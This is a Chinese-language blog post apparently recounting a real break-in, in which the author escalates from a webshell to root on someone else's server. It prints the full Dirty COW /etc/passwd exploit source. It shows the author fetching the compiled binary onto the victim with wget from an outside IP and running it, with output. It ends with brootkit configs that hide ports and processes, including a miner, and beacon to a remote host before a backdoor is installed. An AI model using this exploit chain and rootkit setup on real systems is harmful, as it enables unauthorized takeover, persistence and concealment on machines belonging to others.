拿站后续：得到网站的webshell提权

一、寻找方法

这是最难的地方，在寻找提权的过程中我都有点想放弃了。

我在百度中寻找这各种方法，有的是SUID，有的是辅助提全工具（这是最坑的，找完之后也不好使，虽然说各种信息各种出）。而且很多都是关于win提权的。

在我打算放弃的时候还是去exploit-db上逛了逛，看看有没有0day这种漏洞存在，黄天不负有心人，终于让我给翻到了。。。。。。。

这东西名字说实话有点古怪，叫“Dirty COW”，说实话脏的一批，原本以为提权当前用户，没想到最脏的是把root删了。。。。

虽然是16年的漏洞，但是在这里，，，，，嘻嘻，，，都懂。 ---------Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition Privilege Escalation (/etc/passwd)

其代码为

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
 
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
 
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
 
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
 
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
 
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
 
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
 
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }
 
  char ch;
  FILE *source, *target;
 
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
 
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }
 
  printf("%s successfully backed up to %s\n",
    from, to);
 
  fclose(source);
  fclose(target);
 
  return 0;
}
 
int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }
 
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
 
  char *plaintext_pw;
 
  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }
 
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
 
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
 
  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

二、那就开始提权

首先我是在本地编译的，

┌─[invisible@parrot]─[~]
└──╼ $gcc -pthread exp.c -lcrypt -o exploit

然后scp到自己的服务器。这样就方便命令下载了与执行了

在我的服务器中接受到反弹的www权限的shell之后就获取提权文件，然后放置到/tmp下去执行。。。。。

sh-4.1$ wget http://175.19.213.138:1024/vip_video/exploit
wget http://175.19.213.138:1024/vip_video/exploit
--2017-07-24 16:39:34--  http://175.19.213.138:1024/vip_video/exploit
Connecting to 175.19.213.138:1024... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14368 (14K)
Saving to: `exploit'

     0K .......... ....                                       100%  455K=0.03s

2017-07-24 16:39:34 (455 KB/s) - `exploit' saved [14368/14368]


sh-4.1$ ls exploit
ls exploit
exploit
sh-4.1$ ls -l exploit
ls -l exploit
-rw-r--r-- 1 www www 14368 Jul 24 16:38 exploit
sh-4.1$ chmod +x exploit 
chmod +x exploit

接下来就是执行，说实话当时没想到会提权成功，而且结果还下了我一跳

sh-4.1$ ./exploit
./exploit
Please enter the new password: 123456
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

mmap: 7efcd4fd6000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

可以看到，直接提权成功之后就将root用户替换成firefart了，password也做了备份被放置在/tmp

然后扫了一下端口，22端口还是开放的，直接进。。。。。

三、权限上来之后那就得维权了。。。

之前用过rootkit，是利用加载模块的方式劫持内核函数，有点太高级，正在努力研究。。。。

这里就用brootkit吧，这个是纯脚本的。

配置文件就如下：

[17:12 j0 firefart@iZ25thvdau5Z:t2 ~/brootkit]#cat brsh.conf
cat brsh.conf
HIDE_PORT        22
HIDE_FILE        br
HIDE_PROC        sh,minerd
REMOTE_HOST        invisiblegg.tpddns.cn
REMOTE_PORT        12346
SLEEP_TIME        60
[17:12 j0 firefart@iZ25thvdau5Z:t2 ~/brootkit]#cat br.conf
cat br.conf
#brootkit config file.
#
HIDE_PORT        8080,8899
HIDE_FILE        br.conf,bashbd.sh,brootkit,.bdrc,brdaemon,wzt
HIDE_PROC        bashbd,brootkit,pty.spawn,brdaemon,minerd
REMOTE_HOST        invisiblegg.tpddns.cn
REMOTE_PORT        12346
SLEEP_TIME        60

然后./install.sh放置后门走人

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